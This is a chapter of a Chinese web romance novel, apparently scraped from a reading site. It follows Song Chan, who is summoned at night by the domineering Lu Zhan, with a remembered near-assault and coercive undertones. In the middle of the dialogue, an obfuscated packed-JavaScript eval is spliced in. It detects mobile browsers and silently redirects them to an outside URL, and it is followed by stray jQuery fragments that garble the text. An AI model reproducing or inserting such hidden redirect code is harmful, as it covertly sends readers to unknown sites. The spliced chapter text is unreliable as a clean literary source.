20. 入V通告

作品:《玉腰藏春

    宋蝉教纪芙制香已有些日子了,纪芙为人聪慧,又肯用功,每日都钻研到半夜,时不时还会来宋蝉屋里问问题。


    有这样肯下功夫的决心,很快她便学会了基础的制香技艺。


    两人本就住得近,这一来二去的交集,关系也逐日亲密起来。


    恰好今年孙小娘过的是逢六的生日,宋蝉出了个主意,让陆芙分别制了六种香膏。


    瓷瓶也是特地找了瓷窑定制了不同花样,对应不同的味道。


    包装完毕,陆芙撒娇般挽上宋蝉的小臂,晃了晃:“还好有婵姐姐帮我,今年的贺礼阿娘一定喜欢。”


    次日傍晚,两人一同到孙小娘屋里庆生。


    府中没人记得孙小娘的生日,就连她的枕边人,也将这个特殊日子抛诸脑后,一句问候都不曾带来。


    宋蝉想到前几日,赵小娘新得了一个上好的青玉樽,陆国公还专门为她在府中设了宴,喊了京中的贵妇人一起来观赏宴玩。


    而今孙小娘的生辰却这般简单,实在是令人唏嘘。


    不过孙小娘好似并不在意这些。


    即便屋里只有他们三人,孙小娘也并未敷衍。特地在几扇窗户上贴了些红彤彤的喜庆窗花,自己也换上一身桃粉色的裙装,衬得面色红润,喜上眉梢。


    桌上更是摆好了翡翠虾仁、金丝蛋羹等家常菜,食材虽不如公府厨房的昂贵精致,但每一道都是她亲手烹制,摆盘也颇具巧思。


    孙小娘收了陆芙精心准备的礼物,欢喜地不得了,一时感动得说不出话来,只不停地往两人碟子里夹菜。


    一顿饭的时光,欢声笑语不断,宋蝉本想着今夜再多留些时候,继续沉浸在这份难能可贵的温暖里,只是一阵急促的脚步声打破了屋内的祥和。


    紫芙走了进来,在门廊下对宋蝉使了个眼色。


    宋蝉会意,找了个借口先出去了。


    门廊外,紫芙神色恭敬地一礼,在宋蝉耳边轻声说道:“娘子,大人那边传了话,说是在房里特意为您准备了一样东西,让您早些回去找他,不要在此处留太久。”


    宋蝉眼神一怔。


    这时候回去,岂不是扫了大家的兴致?


    她低声说了句知道了,便重新回到桌上。


    陆芙见宋蝉回来后有些心不在焉,心领神会,笑着解围道:“婵姐姐若有急事便先回去吧,以后咱们有的是时间相聚。”


    回屋的路上,看着裙下被月光铺满的青石板路,宋蝉更生出几分酸涩的不舍。


    这份源自平凡人家的温暖,看似寻常,对她而言,却如梦般遥不可及。


    十多年来,无数个日夜,她都在默默期盼着这样的温暖。如今,这温暖触手可及,却又因陆湛的召唤即将中断,怎能不让她感慨万千。


    回到屋里,宋蝉不悦道:“究竟是什么东西非要赶在今晚看了,还要去见他回话?”


    苏罗与桃松引着宋蝉进内室,绣榻上正摆着一件皦玉色的新衣,样式清新素雅,胸口处绣着一圈精细的杏花纹样,花蕊皆以细小珍珠镶嵌点缀。


    宋蝉的面色微变。


    并不是她要多想,只是经过那夜之后,她对陆湛的印象已不复从前。


    已是酉时了,京中大部分人家都用了晚膳预备洗漱休息了。


    这个时候,陆湛却送来这样一件绘尽女子柔美的衣裳,还让她换上这件衣裳去见他。


    他究竟要做什么?


    她是答应要做他手中的一把刀,却还没有做好“献身”的准备。


    宋蝉踟蹰在原地,不愿行动。


    紫芙轻声催促:“娘子,大人此时找您怕是有急事,还是不要耽误的好,大人的性子您也是知晓的……”


    紫芙的话仿若冬日里刺骨的冰水,毫无征兆地兜头泼下,宋蝉陡然清醒了。


    是有几日没见到陆湛了,都快忘了他从前令人胆惧的模样了。


    是啊,陆湛向来是说一不二,没有任何余地可以磋商。若是今日一再推脱惹得陆湛不快,后果不堪设想。


    宋蝉很快让自己镇定下来,由紫芙苏罗帮忙更衣,整理好衣妆后便朝着陆湛屋里去了。


    陆湛屋内,仆人正有条不紊地往桌上上菜。


    宋蝉甫一进屋,目光扫了一圈却未见其人,只听得后侧盥室传来些许动静。


    少顷,陆湛缓缓从盥室走出,只穿着一身袍摆垂地的白色睡袍,宽松地拢在他的身上。


    睡袍下隐约透出一道轮廓健硕、肌肉硬朗分明的男子躯体,看得宋蝉顿时面红耳赤。


    陆湛墨发未束,额前鬓角的几缕碎发,还沾着些水汽,烛光映照下,闪烁着旖旎的微光。


    一滴水珠顺着刀削般的侧颊滑落,最终隐入他的领口。


    宋蝉生出了些“非礼勿视”的羞愧,赶忙低下头,瓷白的面上像是燃起了一团朝霞,只觉心跳如鼓。


    陆湛却神色自若地坐下了:“你也一起吃些吧。”


    宋蝉站在旁边不敢抬头,只觉得再接近都是一种冒犯。


    “刚才在孙小娘那边已经吃饱了,我等大人吃完就好。”


    “再陪我用些。”


    陆湛声音很轻,但宋蝉明白,这绝不是请求,而是命令。


    圆桌边一共只摆放了四个绣墩,两个紧贴着陆湛,还有一个正对他面前。


    该坐在哪里,宋蝉犯了难。


    等最后一道菜上完,仆人垂着头退下,关上了门。


    屋门关上的瞬间,宋蝉明白必须要做个抉择了。


    坐在对面抬眼就是对视,太过尴尬。


    身侧的两个位置倒是可以考虑。犹豫再三,宋蝉选了靠近屋门那侧的绣墩坐下。


    虽然今夜她没敢再用香,但若陆湛再有别的想法,至少还有逃走的机会。


    刚才宋蝉瞧得真切,陆湛的臂膀结实有力,小臂隐有青筋凸起。


    难怪上次被他压制在桌上,没有半点挣脱的力气。


    陆湛的晚膳很简单清淡,桌上只摆了一条蒸鱼、两碟素炒、一份羹汤。


    宋蝉有些出乎意料。


    她原以为,像陆湛这样的武将,应当顿顿饮酒食荤。


    那他是靠什么才长成这样健壮的躯体呢……


    陆湛的脸庞因沐浴后的热气而微微泛红,眼眸深邃而明亮,透着一丝慵懒与冷峻。


    两人相顾无言,唯有桌面烛光曳曳。


    气氛实在有些冰冷,宋蝉伸手去握汤勺,想舀一碗羹汤消解尴尬。


    陆湛却也在此时伸手,正好覆盖着她的手面。


    瞬间如有电流涌过全身,宋蝉瞬间缩回了手。


    汤勺重新坠入盆底,几滴羹汤溅落在桌面上,洇开一片。


    陆湛沉沉抬眼,也不拐弯抹角,直接问道:“你在躲我?”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14823675|157819||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    宋蝉并未否认。


    她捻了手中帕子,垂眸擦拭着手背溅上的羹汤,不卑不亢地回了一句。


    “大人这几日都宿在国公府外,不也是在躲着我吗?”


    陆湛也不说话了。


    他缓缓盛好了一碗羹汤,推到宋蝉面前。


    “既是用完膳过来的,就喝些羹汤吧。”


    宋蝉接了过来,才看清这是一碗石榴粉银丝羹。


    握着调羹的手轻轻一颤。


    偏偏这羹汤,就与那日被陆湛拂落在地的一样。


    她又悄然抬起长睫,看见陆湛也盛了一碗,目光不由地落在他的手上。


    不知为何,她之前从不会这样刻意留意他的手,但自从那日之后,总是会不自觉地盯着他的手看。


    他的手掌很大,调羹在他手中显得极其精小,旁人是握着调羹,他却像是捏着。


    就好像随意拿捏把玩着什么赏乐的器具。


    他的手背上也隐隐几道青筋,除了陈年的淡疤之外,还有两道新添的细痕。


    像是与狸奴玩闹时留下的痕迹。


    只是宋蝉非常清楚,那并非狸奴所留。


    而是上次他抵在她身后时,她勉力挣扎留下的痕迹。


    抓痕有些深,即便现在结了痂,能看出先前连带着掀起了一小块皮肉。


    宋蝉有些愧疚,但她很快就想,当时她的裙摆都已被掀开,若不是这两道抓痕让他清醒,只怕身后那把坚硬如铁的剑,就真的破入她的身体了。


    那些不愿再想的回忆又似潮水涌来,宋蝉觉得面红耳烫,含在舌间的石榴粉银丝羹,都变得黏稠拉扯。


    见宋蝉神色有些反常,陆湛问了句怎么了?


    “我没事,只是羹汤有些烫。我等凉一凉再喝。”


    宋蝉心中早已波涛汹涌,但陆湛的神色却十分坦然,什么都没发生过一般,碗里的羹汤也喝光了。


    仿佛那夜的记忆只留在了宋蝉的脑海中。


    可明明是他……


    真是……无耻……


    宋蝉闷闷地低头搅弄着碗里的羹汤,不说话。


    又是尴尬的沉默,直到陆湛开口,打破了沉寂。


    “宋蝉。”


    “嗯?”


    她忽然抬起头,耳边的宝石坠子轻轻摇晃了两下。


    “你不必害怕我。”


    “要了你,或者是杀了你,于我来说没什么分别。”


    陆湛停顿了一下,仿佛想要解释,又像是掩饰:“我现在对你,也没那些兴趣。”


    说不出心中是愤怒更多,还是别样的情绪更浓。


    虽然陆湛那夜的行径确不是君子所为,但宋蝉自己也有对不住他的地方。


    毕竟当时,她也对他用了香。


    一半一半,便算扯平了。


    宋蝉放下手中调羹,今夜第一次,看向陆湛的双眼。


    “大人想要说什么?”


    陆湛沉默片刻,又道:“上次只是个意外。”


    是不是意外又能怎样呢?总之那夜的事确实发生过。


    即便她想忘却,也不是轻易便能忘的。


    但宋蝉明白点到即止的道理。


    “大人今夜叫我来,是有什么事吗?”


    陆湛不语,啜了口茶,而后放下茶盏,面色平静道。


    “将你的外氅脱了。”